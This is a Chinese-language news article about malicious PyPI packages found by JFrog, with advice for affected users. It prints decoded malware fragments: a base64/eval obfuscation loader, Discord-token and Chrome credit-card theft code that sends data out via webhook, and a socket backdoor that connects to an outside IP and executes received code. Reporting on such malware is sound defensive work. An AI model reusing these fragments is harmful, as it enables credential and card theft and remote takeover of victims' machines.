Python程序员小心,PyPI软件库又双叒叕发现恶意软件,能盗取信用卡还有后门程序
Python 程序员真的要小心了,PyPI 软件库问题真是越来越严重。
继今年 6 月出现挖矿病毒后,PyPI 最近再次出现了一批恶意软件,
JFrog 安全团队发现,PyPI 库中有多个软件存在盗取信用卡信息、远程注入代码的行为,而这些软件总共被下载了 3 万次。
这些被发现问题的恶意软件分别是:
当程序员安装完这些软件后,它们将在后台不知不觉读取浏览器文件夹,从而盗取信用卡信息和密码。它们是如何窃取信用卡信息的
安全研究人员发现,上述所有软件包都使用 Base64 编码进行伪装。
比如上述的 noblesse2:
importbase64,codecs
magic="aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS..."
love="0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M..."
god="a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg..."
destiny="yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS..."
joy="\x72\x6f\x74\x31\x33"
trust=eval("\x6d\x61\x67\x69\x63")+eval("\x63\x6f\x64\x65\x63\x73\x2e\x64...")
eval(compile(base64.b64decode(eval("\x74\x72\x75\x73\x74")),"","exec"))
这种方法可以欺骗一些简单的分析工具,但是仔细研究可以发现其中的问题。
以上 8 个软件包分别包含了以下不同种类的恶意行为:
1、窃取 Discord 帐户身份验证 token
Discord 身份验证 token 读取器的代码非常简单,它就是一组硬编码的路径:
local=os.getenv("LOCALAPPDATA")
roaming=os.getenv("APPDATA")
paths={
"Discord":roaming+"\\Discord",
"DiscordCanary":roaming+"\\discordcanary",
"DiscordPTB":roaming+"\\discordptb",
"GoogleChrome":local+"\\Google\\Chrome\\UserData\\Default",
"Opera":roaming+"\\OperaSoftware\\OperaStable",
"Brave":local+"\\BraveSoftware\\Brave-Browser\\UserData\\Default",
"Yandex":local+"\\Yandex\\YandexBrowser\\UserData\\Default"
}
然后代码会读取这几种浏览器路径下的所有.log 和.ldb 文件,并查找 Discord 身份验证 token,结果通过 Webhook 上传到 Discord。
2、窃取浏览器存储的密码或信用卡数据
当你在浏览器中输入密码或信用卡数据时,一般都会跳出如下窗口,提示用户保存这些信息。
虽然这给用户带来方便,今后不用一遍遍输入密码,但缺点是这些信息可能会恶意软件获取。
在这种情况下,恶意软件会尝试从 Chrome 窃取信用卡信息:
defcs():
master_key=master()
login_db=os.environ["USERPROFILE"]+os.sep+\
r"AppData\Local\Google\Chrome\UserData\default\WebData"
shutil.copy2(login_db,
"CCvault.db")
conn=sqlite3.connect("CCvault.db")
cursor=conn.cursor()
try:
cursor.execute("SELECT*FROMcredit_cards")
forrincursor.fetchall():
username=r[1]
encrypted_password=r[4]
decrypted_password=dpw(
encrypted_password,master_key)
expire_mon=r[2]
expire_year=r[3]
hook.send(f"CARD-NAME:"+username+"\nNUMBER:"+decrypted_password+"\nEXPIRYM:"+str(expire_mon)+"\nEXPIRYY:"+str(expire_year)+"\n"+"*"*10+"\n")
这些信息和前一种情况一样会通过 Webhook 上传。
3、收集有关受感染 PC 的信息:如 IP 地址、计算机名称和用户名
除此之外,这些软件还会收集 Windows 许可证密钥信息、Windows 版本以及屏幕截图。
4、远程代码注入
pytagora 和 pytagora2 这两个恶意软件会尝试连接到某个 IP 地址 9009 端口上的,然后执行 Socket 中可用的任何 Python 代码。
其中混淆的代码被安全人员解码成如下片段:
importsocket,struct,time
s=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(("172.16.60.80",9009))
l=struct.unpack(">I",s.recv(4))[0]
print(l)
d=s.recv(l)
print(d)
whilelen(d)>!1:
d+=s.recv(l-len(d))
print(d)
exec(d,{"s":s})
但是安全人员现在不知道这个 IP 地址是什么,或者上面是否存在恶意软件。中毒后如何挽救
如果你发现自己的电脑已经安装了诸如 noblesse 的恶意软件,那么请检查一下你的浏览器到底保存了哪些密码,这些密码可能已经泄露,请尽快修改。
对于 Edge 浏览器用户,请在地址栏中输入 edge://settings/passwords,查看已保存的密码。
对于 Chrome 浏览器用户,请在地址栏中输入 chrome://settings/payments,在付款方式一栏下查看已保存的信用卡信息。
另外可以松口气的是,PyPI 维护人员已经删除了这些恶意软件包。
虽然 PyPI 软件库现在是安全了,但是鉴于这些开源软件库现在的维护状态,未来很可能还会遇到更多攻击。今年 PyPI 库出现安全问题的状况就不止一次出现。
"攻击者能够使用简单的混淆技术来引入恶意软件,这意味着开发人员必须保持警惕。"
JFrog CTO 说,"这是一个系统性威胁,需要由软件存储库的维护者和开发人员在多个层面积极解决。"